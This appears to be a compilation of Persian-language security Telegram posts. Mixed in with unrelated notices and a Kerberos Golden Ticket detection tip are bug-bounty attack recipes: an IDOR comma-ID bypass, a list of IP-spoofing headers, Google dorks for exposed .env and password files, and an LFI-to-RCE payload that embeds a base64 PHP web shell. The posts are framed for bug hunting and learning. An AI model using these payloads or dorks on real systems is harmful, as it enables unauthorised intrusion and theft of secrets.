در Golden Ticket، یکی از چیزهایی که برای Hunting باید بهش دقت کنی، رابطه بین TGT و TGS است.

در حالت عادی:
اول Client یک TGT میگیرد.
بعد با استفاده از آن TGT برای Service موردنظر TGS درخواست میکند.
پس روی Domain Controller معمولاً می‌توانی ارتباطی بین:

4768 → TGT Request

و

4769 → TGS Request

ببینی ، حالا یک سناریو را تصور کن:
برای یک Account، Event 4769 داری.
اما Event 4768 متناسب با آن پیدا نمیکنی.
این میتواند یک Signal مهم باشد.

مخصوصاً اگر همزمان ببینی:
لAccount Privileged است.
اSource سیستم معمولی نیست.
اAccount وضعیت عادی ندارد یا حتی دیگر وجود ندارد.
یک Identity برای تعداد زیادی Service درخواست میدهد.
یا الگوی Kerberos در آن سیستم با رفتار معمولش فرق دارد.
اینجا احتمال Ticket Forgery جدی‌ تر می‌شود.

اما یک نکته مهم:
نبودن 4768 به معنی Golden Ticket قطعی نیست.

ممکن است TGT از قبل Cache شده باشد.
ممکن است Logها کامل نباشند.

اVPN، NAT و Cross-Domain Referral هم میتوانند Correlation را پیچیده کنند.
پس Hunting درست این نیست که بگویی:

4769 بدون 4768 = Golden Ticket
بلکه باید بگید:
4769 بدون 4768 + رفتار غیرعادی + Identity مشکوک + دسترسی Privileged
حالا ارزش بررسی دارد.
در Detection، هیچ Eventی را جدا از Context خودش نبین.
اGolden Ticket دقیقاً جایی خطرناک می‌شود که یک Ticket جعلی بتواند در بین Authenticationهای کاملاً legitimate گم شود.

@KavehOffSec
#Red_Team #RedTeam

💡 نکته باگ بانتی IDOR Bypass

بعضی وقت‌ها APIها وقتی چندین ID با هم پاس داده میشن، رفتار غیرمنتظره‌ای نشون میدن.

🔍 سناریو
Victim’s ID: 5200
Attacker’s ID: 5233

🚫 GET /api/users/5200/info → Access Denied 
✅ GET /api/users/5200,5233/info → Bypass Successful.

📌 همیشه comma-separated، array-style یا batch ID parameterها رو موقع شکار IDOR تست کن!

کدوم IDOR bypass رو با comma یا array تست کردی که access denied رو دور زد و bounty داد؟ تجربت رو کامنت کن،

@TryHackBox
#باگ_بانتی #بایپس #IDOR

یکی از چیزایی که هنوز خیلیها اشتباه میفهمن Lateral Movement هست.

یعنی بعد از دسترسی اولیه، چطور بدون اومدن دوباره از بیرون، داخل شبکه حرکت کنی و به ماشینهای دیگه برسی.

پست کامل در لینک زیر :

https://x.com/KavehxNet/status/2106769316464959807

#Red_Team #RedTeam

از این به بعد هر چند وقت یکبار نوت های تخصصی Ai Red Team گذاشته خواهد شد و بر اساس  Mittre Atllas خواهد بود

با نرم افزار Obsidian باز بشه

دقیق و کامل خونده بشه

دوستانی که علاقه مند به موضوع Ai Security و Ai RedTeam هستند این موضوعات در کانال دیگمون قرار میدهیم :

@AiTHB

🔥 این برای هکینگ نیست، این برای هکرهاست؛

اگه هنوز توی باگ هانتینگت چیزی پیدا نکردی، اول این code رو توی فایلت اعمال کن:

while(!success){
    tryagain();
    if(tried)
        break;
}

هرگز تسلیم نشو، فقط نیاز داری ذهنیتت رو تغییر بدی. 
یادت باشه، جایی که همه تسلیم میشن، پروها از اونجا شروع میکنن

کدوم dry run طولانی رو با تغییر mindset به bounty تبدیل کردی؟ تجربت رو کامنت کن.

@TryHackBox
#باگ_بانتی

🔥 امروز، ۱۶ مهر، روز بزرگداشت داریوش بزرگ است؛ پادشاهی که امپراتوری هخامنشی را به اوج قدرت، نظم و گستردگی رساند و تخت جمشید را بنیان نهاد، یادبود مردی که نامش برای همیشه با شکوه تمدن ایران گره خورده است

@TryHackBox

🔥 با تکنیک‌ های killer که بیشتر باگ هانترها ازشون غافلن.

IP Spoofing Headers برای Bypass و Testing:

X-Forwarded-For: 127.0.0.1
📌 توسط proxyها/load balancerها trusted میشه
X-Real-IP: 127.0.0.1
📌 رایج در setupهای NGINX
X-Client-IP: 127.0.0.1
📌 برای rate limiting/tracking استفاده میشه
X-Remote-IP: 127.0.0.1
📌 ممکنه روی backend logic تاثیر بذاره
X-Remote-Addr: 127.0.0.1
📌 سعی میکنه remote IP رو override کنه
True-Client-IP: 127.0.0.1
📌 توسط CDNها (مثل Akamai) استفاده میشه
CF-Connecting-IP: 127.0.0.1
📌 Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
📌 Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
📌 در محیط‌های clustered دیده میشه
Forwarded: for=127.0.0.1
📌 نسخه RFC standard از XFF
X-Originating-IP: 127.0.0.1
📌 توسط mail serverها و legacy appها استفاده میشه
X-Forwarded-Host: 127.0.0.1
📌 میتونه روی virtual host routing تاثیر بذاره
X-Forwarded-Server: 127.0.0.1
📌 backend routing logic
X-Real-Hostname: localhost
📌 سعی میکنه internal host رو spoof کنه
Via: 127.0.0.1
📌 ممکنه در proxy chainها ظاهر بشه
Forwarded-For: 127.0.0.1
📌 non-standard اما در wild دیده میشه
Proxy-Client-IP: 127.0.0.1
📌 سرورهای Java-based (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
📌 WebLogic-specific header

استفاده: Bypass IP whitelisting، rate limitها، geo-blockها، SSRF filterها یا trigger internal behavior. چندتاشون رو combine کن برای نتایج بهتر در black-box testing.

کدوم header spoofing رو با 127.0.0.1 تست کردی که rate limit رو دور زد و bounty داد؟ تجربت رو کامنت کن.

@TryHackBox
#باگ_بانتی

🧠 نکته باگ بانتی حملات Denial of Wallet 💸

شنیدی Denial of Service رو... اما Denial of Wallet چی؟

🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه.

🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده.

💥 تارگت‌های رایج در برنامه‌های باگ بانتی:

Cloud Functions (مثل AWS Lambda، Azure Functions) 
مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈.

Email/SMS APIs 
مثال: feature signup/login OTP via Twilio یا SendGrid می‌ فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شماره‌ها drain کنی.

AI Chatbots (مثل OpenAI، Claude APIs) 
مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه.

💡 الهام واقعی از دنیای واقعی 
طبق مقاله PortSwigger:

"یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد."

تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه.

🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی:

⦁ Public feature هایی که server-side logic trigger میکنن
⦁ APIها بدون authentication یا usage cap
⦁ بدون CAPTCHA یا rate-limiting
⦁ LLM-based botها یا dynamic content generation بدون user restriction
⦁ فرصت‌ های abuse email/SMS OTP یا notification

✅ نکته‌ها قبل از Report:

⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.")
⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting)
⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap

💰 این باگ‌ها اغلب plain sight مخفی‌ ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن.

کدوم DoW attack رو در cloud function یا AI API تست کردی که bill spike کرد و bounty داد؟ تجربت رو کامنت کن.

@TryHackBox
#باگ_بانتی

⚠️ موج بعدی جنگ به زودی شروع میشه .

نوشتن این پیام برای من خوشایند نیست، اما با توجه به شرایط موجود، احتمال شروع دور جدیدی از درگیری‌ ها را نمیتوان نادیده گرفت. این موضوع به معنای پیش‌ بینی قطعی نیست؛ بااین‌ حال، ترجیح میدهم از همین حالا برای شرایط احتمالی آماده باشیم، نه اینکه در لحظه بحران به فکر چاره بیفتیم.

از همه اعضای TryHackBox میخواهم چند اقدام مشخص را جدی بگیرند:

۱. ارتباط و دسترسی به اینترنت

راه‌ های جایگزین ارتباط با اعضای خانواده و افراد ضروری را مشخص کنید.

شماره تلفن‌ های مهم را خارج از گوشی نیز یادداشت کنید.

اگر فعالیت یا ارتباطات شما به اینترنت وابسته است، برای قطعی یا اختلال طولانی‌ مدت برنامه جایگزین داشته باشید.

۲. امنیت اطلاعات و دارایی‌ های دیجیتال

از فایل‌ ها، اسناد و اطلاعات مهم خود نسخه پشتیبان تهیه کنید.

نسخه پشتیبان را در محلی امن و جدا از دستگاه اصلی نگه دارید.

دسترسی به حساب‌ های مهم، ایمیل بازیابی و روش‌ های احراز هویت دومرحله‌ای را بررسی کنید.

مراقب اخبار تأیید نشده باشید.

۳. آمادگی‌ های ضروری در منزل

آب آشامیدنی، مواد غذایی ماندگار، داروهای ضروری و لوازم کمک‌ های اولیه را برای چند روز در دسترس داشته باشید.

چراغ‌ قوه، باتری یا پاوربانک شارژ شده آماده کنید.

مدارک هویتی، نسخه داروها، مقداری پول نقد و شماره‌های اضطراری را در دسترس قرار دهید.

۴. برنامه‌ ریزی برای شرایط اضطراری

با اعضای خانواده درباره محل ملاقات و روش تماس در صورت قطع ارتباط توافق کنید.

مسیرهای خروج و مکان‌ های امن نزدیک محل زندگی یا کار را بشناسید.

۵. مدیریت اخبار و تصمیم‌ ها

خبرها را از چند منبع معتبر بررسی کنید و شایعات را بازنشر نکنید.

تصمیم‌ های مهم را صرفاً بر اساس پیام‌ های ناشناس یا پیش‌بینی‌ های تأییدنشده نگیرید.

اگر برای کار یا فعالیت‌ های روزمره به زیرساخت‌ های آنلاین وابسته‌اید، برای وقفه احتمالی از قبل برنامه داشته باشید.

این موارد برای ایجاد ترس نیست؛ هدف این است که اگر شرایط تغییر کرد، تصمیم‌ های ضروری را با آرامش و آمادگی بیشتری بگیریم.

هیچ‌ کس نمیتواند با قطعیت بگوید چه اتفاقی خواهد افتاد؛ اما هرکدام از ما میتوانیم آمادگی خود را بیشتر کنیم.

مراقب خودتان و عزیزانتان باشید.

— TryHackBox

🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡

LFI
داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:

مثال param vulnerable: 

page=../../../../etc/passwd

حالا PHP shellت رو با base64 encoding بساز: 

echo '<?php system($_GET["cmd"]);?>' | base64

نتیجه رو می‌گیری: 

PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=

URL-encodeش کن: 
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D

Payload نهایی (با data:// wrapper): 
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id 
BOOM! Remote Code Execution. 💥

من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. می‌خوای؟ بگو بدونم.

کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن

@TryHackBox
#باگ_بانتی

⚡ سری Bash برای باگ هانترها

قسمت ۲

چندین folder رو با one-liner بساز: 

mkdir {dev,test,prod}

این command همزمان ۳ directory (dev، test، prod) میسازه.

ایجاد چندین File به طور Efficient: 

touch {file1,file2,file3}.txt

Fileها مثل file1.txt، file2.txt، file3.txt ساخته میشن.

تولید Fileها با Numeric Sequences: 
seq -w 1 10 | xargs -I {} touch file{}.txt

این sequence fileهایی مثل: 
file01.txt، file02.txt، file03.txt.... تا file10.txt می‌سازه.

با pro Bash commandها bug huntingت رو boost کن must برای هر hacker! 
فراموش نکن react کن 🔥

@TryHackBox
#باگ_بانتی

یه سری Google Dorks سریع و simple هستن که حتماً باید طی recon روی تارگتت اعمال کنی. 
اینا اغلب اطلاعات sensitive مثل.env files، database dumpها، config fileها و حتی backupها رو reveal میکنن.

۱. Exposed.env Files 
   intitle:"Index of" ".env" 
   "DB_PASSWORD" filetype:env 
   "APP_ENV=local" | "DB_HOST=127.0.0.1"

۲. Exposed SQLite Databases 
   intitle:"Index of" ".sqlite" 
   intitle:"Index of" "db.sqlite" 
   filetype:sqlite | filetype:sqlite3 | filetype:db

۳. Misconfigured Laravel یا Public Folder Exposure 
   inurl:/public/.env 
   inurl:/public/db.sqlite 
   intitle:"Index of" inurl:/public/

۴. Backup / Config Files (اغلب حاوی اطلاعات sensitive) 
   intitle:"Index of" "backup" 
   intitle:"Index of" "config" 
   ext:sql | ext:bak | ext:old | ext:backup

۵. Generic Index Dump 
   intitle:"Index of /" +passwd 
   intitle:"Index of /" +passwords

قبل از استفاده از این dorkها، scopeت رو با site:target.com narrow down کن، بعد dork خاص رو apply کن تا فقط روی تارگتت focus کنی.

کدوم Google Dork رو در reconت استفاده کردی که.env یا backup expose کرد و bounty داد؟ تجربت رو کامنت کن

@TryHackBox
#باگ_بانتی

🔖 ا Account Takeover از طریق ایمیل

شما چه روش هایی بلدید ؟

@TryHackBox
#امنیت_اطلاعات #امنیت_سایبری #باگ_بانتی

ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود

تصور کنید یک آسیب‌ پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش‌ ها برای سوءاستفاده از آن به راه می‌ افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به‌ روزرسانی‌ ها وجود ندارد.
طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیب‌پذیری با شناسه‌ های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده‌ اند. در این گزارش، امتیاز شدت هر دو آسیب‌ پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش‌ ها برای exploitation از آن‌ ها صحبت شده است.

توجه: پیش از استناد به شناسه‌ ها، امتیاز ها، آمار حملات و نسخه‌ های اصلاح‌ شده، اطلاعیه‌ های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید.

🔍 مشکل دقیقاً چیست؟

بر اساس اطلاعات گزارش‌ شده، این دو آسیب‌ پذیری به نحوه مدیریت حافظه در PHP مربوط هستند:
ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت.
ا▪️ Use-After-Free: استفاده از حافظه‌ای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می‌ تواند زمینه‌ ساز رفتار غیرمنتظره یا اجرای حمله شود.

خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف‌ ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن‌ ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند.

🎯 چه کسانی باید نگران باشند؟

اگر سرور یا وب‌ سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط‌ های زیر اهمیت داشته باشد:

Apache با mod_php

Nginx با PHP-FPM

LiteSpeed و FrankenPHP

وب‌سایت‌ های WordPress و سایر برنامه‌ های مبتنی بر PHP

البته استفاده از این فناوری‌ ها به‌ تنهایی به معنای آسیب‌ پذیر بودن سرور نیست؛

🛡️ چه کارهایی باید انجام دهید؟

۱. نسخه PHP را بررسی کنید.

php -v 

این دستور نسخه PHP در محیط CLI را نشان میدهد. اگر برنامه شما از PHP-FPM یا سرویس دیگری استفاده میکند، نسخه واقعی مورد استفاده وب‌ سرور را هم بررسی کنید.

۲. وضعیت پچ امنیتی را مشخص کنید.
اطلاعیه رسمی PHP را بررسی کنید و در صورت قرار داشتن نسخه شما در محدوده آسیب‌پذیر، به نسخه اصلاح‌ شده و پشتیبانی‌ شده ارتقا دهید. شماره نسخه‌ های اعلام‌ شده در گزارش‌ های غیررسمی را بدون تطبیق با منابع اصلی مبنا قرار ندهید.

۳. اگر فعلاً امکان به‌ روزرسانی ندارید، سطح دسترسی را محدود کنید.
بسته به شرایط، محدود کردن دسترسی از اینترنت یا غیرفعال‌ کردن موقت سرویس می‌ تواند ریسک را کاهش دهد.

۴. به WAF اکتفا نکنید.
قواعد WAF و قابلیت‌ های امنیتی CDN ممکن است بخشی از درخواست‌ های مخرب را مسدود کنند، اما جای پچ امنیتی را نمیگیرند.

۵. اگر احتمال میدهید سرور هدف حمله قرار گرفته، فقط به به‌روزرسانی بسنده نکنید.
لاگ‌ های وب‌ سرور، فرایندهای غیرعادی، ارتباطات خروجی و احتمال دسترسی به اطلاعات حساس را بررسی کنید. اگر نشانه‌ای از نفوذ پیدا شد، موضوع را به‌ عنوان یک رخداد امنیتی جدی پیگیری کنید.

💡 نکته‌ای که نباید فراموش کنیم

برای یک متخصص تست نفوذ، بررسی نسخه نرم‌افزار فقط نقطه شروع است. باید مشخص شود آسیب‌ پذیری تحت چه شرایطی قابل بهره‌برداری است، در صورت موفقیت چه سطح دسترسی‌ ای به دست می‌ آید و چه دارایی‌ هایی ممکن است در معرض خطر قرار بگیرند.
از طرف دیگر، برای تیم‌ های دفاعی، سرعت واکنش اهمیت زیادی دارد. هرچه فاصله انتشار آسیب‌ پذیری تا در دسترس قرار گرفتن روش‌ های exploitation کمتر شود، فرصت بیشتری برای مهاجمان و زمان کمتری برای تیم‌ های امنیتی باقی میماند.

اگر مسئول نگهداری یک سرور هستید، بررسی پچ های امنیتی را به زمان دیگری موکول نکنید. اگر هم در مسیر یادگیری تست نفوذ هستید، این رخدادها فرصت خوبی‌ اند تا ارتباط میان آسیب‌پذیری، exploitation و پیامدهای واقعی آن را بهتر بشناسید.

- TryHackBox
@TryHackBox

دوستانی که علاقه مندان به تدریس دوره های پایه مقدماتی در زمینه امنیت سایبری و شبکه و لینوکس هستند و از جمله دوره های اوسینت با ایدی زیر با ما در تماس باشید :

@ThbxSupport

اگر می‌ خواهید شل ترمینال خود را ویرایش کنید، از شل fish استفاده کنید!

نصب شل
 fish >  apt install fish

فایل پیکربندی را برای سفارشی‌ سازی ویرایش کنید :

~/.config/fish/config.fish

و این کد را مطابق نیازهای خود ویرایش کرده و اضافه کنید:

#shell
functions -e fish_right_prompt
function fish_prompt
set_color $fish_color_cwd
echo -n (path basename $PWD)
set_color normal
echo -n ' ⚡🌒☩Dakr❯ '
end

کدوم سفارشی‌ سازی fish shell رو برای هکینگ تست کردین که workflowتون رو سرعت داد ، کامنت کنید .

@TryHackBox
#باگ_بانتی #شل